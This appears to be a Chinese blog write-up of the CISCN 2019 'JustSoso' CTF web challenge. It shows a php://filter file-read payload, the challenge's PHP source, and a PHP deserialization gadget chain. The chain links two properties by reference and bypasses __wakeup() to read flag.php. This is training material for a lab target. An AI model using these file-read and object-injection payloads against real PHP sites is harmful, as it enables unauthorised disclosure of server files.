ciscn2019部分writeup

原创

大千SS 于 2019-06-06 20:55:20 发布 1061 收藏

分类专栏： 赛题复现 CTF学习 文章标签： ciscn2019 赛题复现

Web

1、JustSoso

拿到源码

打开靶机，查看源码得到提示：

一看就是文件读取，然后就文件读取走一波。
file=php://filter/read=convert.base64-encode/resource=hint.php
base64解码拿到hint.php的源码：

```php
<?php
    class Handle{
        private $handle;
        public function __wakeup(){
            foreach(get_object_vars($this) as $k => $v) {
                $this->$k = null;
            }
            echo "Waking up\n";
        }
        public function __construct($handle) {
            $this->handle = $handle;
        }
        public function __destruct(){
            $this->handle->getFlag();
        }
    }

    class Flag{
        public $file;
        public $token;
        public $token_flag;

        function __construct($file){
            $this->file = $file;
            $this->token_flag = $this->token = md5(rand(1,10000));
        }

        public function getFlag(){
            $this->token_flag = md5(rand(1,10000));
            if($this->token === $this->token_flag)
            {
                if(isset($this->file)){
                    echo @highlight_file($this->file,true);
                }
            }
        }
    }
    ?>
```

我们已知的页面还有index.php，再读出index.php的源码：

```php
<html>
    <?php
    error_reporting(0);
    $file = $_GET["file"];
    $payload = $_GET["payload"];
    if(!isset($file)){
        echo 'Missing parameter'.'<br>';
    }
    if(preg_match("/flag/",$file)){
        die('hack attacked!!!');
    }
    @include($file);
    if(isset($payload)){
        $url = parse_url($_SERVER['REQUEST_URI']);
        parse_str($url['query'],$query);
        foreach($query as $value){
            if (preg_match("/flag/",$value)) {
                die('stop hacking!');
                exit();
            }
        }
        $payload = unserialize($payload);
    }else{
       echo "Missing parameters";
    }
    ?>
    <!--Please test index.php?file=xxx.php -->
    <!--Please get the source of hint.php-->
    </html>
```

大致看下，拿flag应该是在hint.php的Flag类中getFlag()的echo @highlight_file($this->file,true)这里，然后审计代码找解决问题的方法。

代码审计

index中最后会进行反序列化，我们要利用序列化的漏洞。
include($file)，因为类都在hint.php中，file参数中也被过滤flag字符串，所以这个$file就是hint.php了；然后考虑payload，拿flag的时候要调用getFlag函数用@highlight_file来显示源码，那么flag就可能是在flag.php中了，那么就要考虑绕过parse_url和正则匹配，然后才能进行反序列化。
parse_url和正则匹配的绕过参考：
进行反序列化后，由于在Handle中可以调用getFlag函数，由于__wakeup()会把参数内容置空，所以要绕过Handle中的__wakeup()，修改类的属性即可（参考：https://blog.csdn.net/zz_Caleb/article/details/89361250），绕过__wakeup()之后在类的声明周期结束时调用析构函数，从而调用getFlag()函数。
在getFlag()函数中唯一的障碍就是$this->token === $this->token_flag，这里可以用一个引用把两者关联起来。

漏洞利用

使用一下代码生成payload：

```php
<?php
class Handle{
    private $handle;
    public function __wakeup(){
        foreach(get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
        echo "Waking up\n";
    }
    public function __construct($handle) {
        $this->handle = $handle;
    }
    public function __destruct(){
        $this->handle->getFlag();
    }
}

class Flag{
    public $file;
    public $token;
    public $token_flag;

    function __construct($file){
        $this->file = $file;
        $this->token_flag = $this->token = md5(rand(1,10000));
    }

    public function getFlag(){
        $this->token_flag = md5(rand(1,10000));
        if($this->token === $this->token_flag)
        {
            if(isset($this->file)){
                echo @highlight_file($this->file,true);
            }
        }
    }
}

$f = new Flag("flag.php");
$f->token = &$f->token_flag;
$hand = new Handle($f);
print_r(serialize($hand));
?>
```

生成：
O:6:“Handle”:1:{s:14:“Handlehandle”;O:4:“Flag”:3:
{s:4:“file”;s:8:“flag.php”;s:5:“token”;s:32:“3dde11a7673e90ad96fafd0b3b27a477”;s:10:“token_flag”;R:4;}}

最终构造
///?file=hint.php&payload=O:6:“Handle”:2:{s:14:“Handlehandle”;O:4:“Flag”:3:
{s:4:“file”;s:8:“flag.php”;s:5:“token”;s:32:“3dde11a7673e90ad96fafd0b3b27a477”;s:10:“token_flag”;R:4;}}
(记得要修改Handle类的属性的)
访问即得flag。